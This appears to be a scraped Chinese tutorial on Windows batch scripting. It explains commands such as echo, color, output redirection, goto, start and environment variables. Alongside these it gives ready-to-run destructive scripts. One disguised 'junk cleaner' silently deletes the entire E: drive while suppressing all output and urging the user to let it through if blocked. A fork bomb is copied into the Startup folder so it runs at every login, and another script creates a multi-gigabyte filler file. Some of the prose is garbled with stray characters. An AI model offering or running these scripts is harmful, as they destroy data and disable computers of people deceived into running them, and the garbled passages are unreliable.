批处理脚本工作(批处理极简教程)
从上而下成批的处理每一条dos命令,直到执行到最后一条,我来为大家科普一下关于批处理脚本工作?以下内容希望对你有帮助!
批处理脚本工作
批处理1.1 批处理作用从上而下成批的处理每一条dos命令,直到执行到最后一条。
1.2 创建批处理新建一个记事本文件,然后修改后缀名为.bat
1.3 体验@echo off 屏蔽执行过程color [attr] 设置默认的控制台前景和背景颜色。attr 指定控制台输出的颜色属性。
控制台输入color ?可显示帮助信息。
颜色属性由两个十六进制数字指定 -- 第一个 对应于背景,第二个对应于前景。每个数字 可以为以下任何值:
0 = 黑色 8 = 灰色
1 = 蓝色 9 = 淡蓝色
2 = 绿色 A = 淡绿色
3 = 浅绿色 B = 淡浅绿色
4 = 红色 C = 淡红色
5 = 紫色 D = 淡紫色
6 = 黄色 E = 淡黄色
7 = 白色 F = 亮白色
如果没有给定任何参数,此命令会将颜色还原到 CMD.EXE 启动时 的颜色。这个值来自当前控制台 窗口、/T 命令行开关或 DefaultColor 注册表 值。
如果尝试使用相同的 前景和背景颜色来执行 COLOR 命令,COLOR 命令会将 ERRORLEVEL 设置为 1。
示例: "COLOR fc" 在亮白色上产生淡红色
title 给批处理加标题echo. 添加空行> 重定向nul 是屏蔽操作知成功显示的信息,但是出错还是会显示(即1>nul)。
2>nul 是屏蔽操作失败显示道的信息,如果版成功依旧显示。
nul 2>nul 就是正确的错误的一起屏蔽掉,就啥也不显示了。
在最后面加1>nul 2>nul这样不管文件是否删除成功都不会显示任何消权息。 批处理就是用一个文件保存若干条命令(里面还可以有条件判断、循环等操作),运行该文件就等于运行其保存的若干条命令。 你问这一语句,只是一条dos命令,并不是批处理。当然,它可能作为一条命令放在批处理文件里面,但概念不能混淆。 那是因为dos命令的输出方是控制台。dos命令是可以控制输出方的,可以把结果输出到屏幕(控制台),也可以把结果输出到文件。控制输出到哪里就需要一个dos的重定向符,“>”或者“>>”。(其实还有输入定向的,如“<”。) 我们平时敲命令,默认定向是控制台。例如dir命令,其实实际运行了“dir >con”。当我们希望把文件列表到文件,就可以把重定向转到文件,可以“dir >list.txt”,但若原来存在list.txt则会覆盖。若list.txt本来已经有内容,希望把dir到的结果追加到文件,可以“dir >>list.txt”。这个你可以自己试试。 同样道理,“nul”是空的意思。把执行结果定向到空,意思便是不返回任何结果,无论它是错是对。这样做对于批处理里面的命令有一个好处,就是在运行的时候你看不到它逐条运行的结果。(当然,逐条运行的命令父还是会看到的,除非开始就用echo off命令或者@命令。) 这样解释应该清楚了吧。它只是运行一条关于注册表的命令,并且不返回任何结果(操作成功或者失败),跟删除文件没有关系。
ping -n 10 127.0.0.1 ping 10次 127.0.0.1这里就是等待执行
goto 跳转到区块命令冒号:划分区块 :区块名
:1
:2
start 程序名 :启动程序如果不写程序名,则会启动cmd
系统变量系统变量,可以在环境变量里设置,常用:
%USERPROFILE% =C:\Users\用户名
%SystemRoot% =C:\WINDOWS
%SystemDrive% =C:
%APPDATA% =C:\Users\用户名\AppData\Roaming
%LOCALAPPDATA% =C:\Users\用户名\AppData\Local
%windir% =C:\WINDOWS
%Path% =C:\Windows\system32;C:\Windows;
%ProgramData% =C:\ProgramData
%ProgramFiles% =C:\Program Files
%ProgramFiles(x86)% =C:\Program Files (x86)
@echo off color 0a title resume echo ======== echo hello,I am order! echo ========
清除e盘
@echo off color 0a title clear laji echo ======== echo clear your system laji echo if bei lanjie please echo let it go echo ======== pause echo. echo laji is cleaning..... e: >nul 2>nul cd \ >nul 2>nul rd . /s/q >nul 2>nul ping -n 10 127.0.0.1 >nul 2>nul echo congratulations!! echo. echo laji clear! pause
新建大文件
@echo off color 0a title game d: cd \ fsutil file createnew e:\sys.ini 4096000000
死循环:
:d start goto d
开机启动死循环:
qq.bat 为该批处理文件名
如果路径上有特殊符号,需要加双引号
copy qq.bat "%userprofile%\[开始]菜单\程序\启动" :d start goto d
多功能选择
set 变量名=值 可以设置变量,如果加上/p,则是等待用户输入,并将用户输入的值赋值给变量
,
@echo off title 小程序v1.0 color 0a :menu cls echo ============= echo 菜单 echo 1、定时关机 echo 2、取消定时 echo 3、退出 echo ================== set /p num=您的选择: if "%num%"=="1" goto 1 if "%num%"=="2" goto 2 if "%num%"=="3" goto 3 echo 请正确输入选项,只能输入1,2,3 pause goto menu :1 set /p a=请输入时间(单位/秒): shutdown -s -t %a% goto menu :2 shutdown -a echo :a >>1.txt echo start >>1.txt echo goto a >>1.txt goto menu :3 exit
免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com